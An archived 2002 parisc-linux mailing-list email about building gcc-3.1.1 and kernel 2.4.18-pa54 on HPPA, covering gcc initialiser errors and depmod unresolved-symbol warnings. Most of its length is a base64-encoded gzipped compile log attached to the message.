	for <parisc-linux@parisc-linux.org>; Sat, 13 Jul 2002 11:08:30 -0600 (MDT)
Original-Received: from [62.235.235.24] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 17TQNJ-0005ET-00; Sat, 13 Jul 2002 19:08:05 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15434

This is a multi-part message in MIME format.
--------------060405050208000907040807
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi Randolph,

Well I reach to compile gcc-3.1.1 without error (xc toolchain hppa -> 
hppa as gcc bootstrap).

Now I compile kernel 2.4.18-pa54 (last cvs I got Friday morning) for 
32-bits config first (not 64-bits yet) and may be that is why I do not 
met the problem mentioned below

> Well, maybe they've changed things upstream, but I just tried with
> gcc-3.1.1 (3.1.1 20020708 snapshot) and it seems to work well, at least
> with my limited testing... this is with the debian default 64-bit smp
> .config.
> 
> I did have to hack up a bunch of code... it seems like gcc-3.1.1 doesn't
> like this construct:
> 
> typedef struct {
>         volatile unsigned int __attribute__((aligned(16))) lock;
> } spinlock_t;
> 
> typedef struct {
>         spinlock_t lock;
>         volatile unsigned int count;
> } rwlock_t;
> 
> rwlock_t foo = (rwlock_t) { (spinlock_t) { 1 }, 0 };
> 
> it complains that the initializer is not constant in this case. 
> removing the (rwlock_t) cast fixed that....
> 
> also it doesn't like it when you have a variable and you initialize it
> after declaration with the { (spinlock_t) { 1 }, 0 } stuff...
> 
> (e.g. 
> rwlock_t foo;
> 
> foo = { (spinlock_t) { 1 }, 0 };
> 
> gives a "parse error at {" message)
> 
> after working through these problems i got a working kernel...
> 

OTC I met a strange problem with modules:

find kernel -path '*/pcmcia/*' -name '*.o' | xargs -i -r ln -sf ../{} pcmcia
if [ -r System.map ]; then /sbin/depmod -ae -F System.map  2.4.18-pa54; fi
depmod: *** Unresolved symbols in 
/lib/modules/2.4.18-pa54/kernel/drivers/input/input.o
depmod:         mod_timer_R1f13d309
depmod:         unregister_chrdev_Rc192d491
depmod:         printk_Rdd132261
depmod:         jiffies_R0da02d67
depmod:         del_timer_Rfc62f16d
depmod:         register_chrdev_Rddc3984b
depmod:         sprintf_R1d26aa98
depmod:         try_inc_mod_count_R133c9d8f
depmod: *** Unresolved symbols in 
/lib/modules/2.4.18-pa54/kernel/drivers/input/keybdev.o
depmod:         kmalloc_R93d4cfe6
...

Any idea?

Thanks again for help and advises,
	Joel

PS: I join my compile log just in case you notice other details

--------------060405050208000907040807
Content-Type: application/gzip;
 name="k-2.4.18-pa54-gcc311.gz"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="k-2.4.18-pa54-gcc311.gz"

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
